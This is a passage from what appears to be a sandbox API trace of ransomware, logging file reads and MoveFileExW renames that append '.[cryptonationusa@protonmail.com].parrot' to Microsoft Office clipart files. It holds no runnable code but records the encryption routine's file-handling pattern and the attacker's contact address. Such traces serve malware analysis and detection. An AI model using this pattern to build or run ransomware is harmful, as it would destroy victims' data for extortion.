liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.807] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.807] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.808] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.809] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd32, lpOverlapped=0x0) returned 1 [0127.809] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.822] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.828] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc30, lpOverlapped=0x0) returned 1 [0127.849] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.859] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.859] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.860] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbd2, lpOverlapped=0x0) returned 1 [0127.861] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.864] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.865] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.865] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x127e, lpOverlapped=0x0) returned 1 [0127.866] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.866] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.870] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.871] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.871] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1634, lpOverlapped=0x0) returned 1 [0127.872] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.875] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.876] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.876] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5062, lpOverlapped=0x0) returned 1 [0127.877] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.881] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.881] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.882] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.883] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a50, lpOverlapped=0x0) returned 1 [0127.883] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.886] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.886] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.014] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.014] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x385c, lpOverlapped=0x0) returned 1 [0128.016] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.020] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.020] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.022] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.022] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0128.023] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.025] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.026] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.027] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.027] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd10, lpOverlapped=0x0) returned 1 [0128.027] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.030] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.031] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.032] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x63c, lpOverlapped=0x0) returned 1 [0128.032] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.032] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.035] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.035] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.039] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.039] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f20, lpOverlapped=0x0) returned 1 [0128.040] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.041] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.043] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.043] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.045] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.045] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x728, lpOverlapped=0x0) returned 1 [0128.046] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.046] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.049] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.049] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.050] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.050] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x66dc, lpOverlapped=0x0) returned 1 [0128.051] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.054] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.054] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.068] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.068] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6cd2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0128.069] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.074] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.074] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.079] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.079] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xea2, lpOverlapped=0x0) returned 1 [0128.079] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.082] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.082] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.084] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.084] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16cc, lpOverlapped=0x0) returned 1 [0128.085] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.088] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.088] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.089] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.089] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 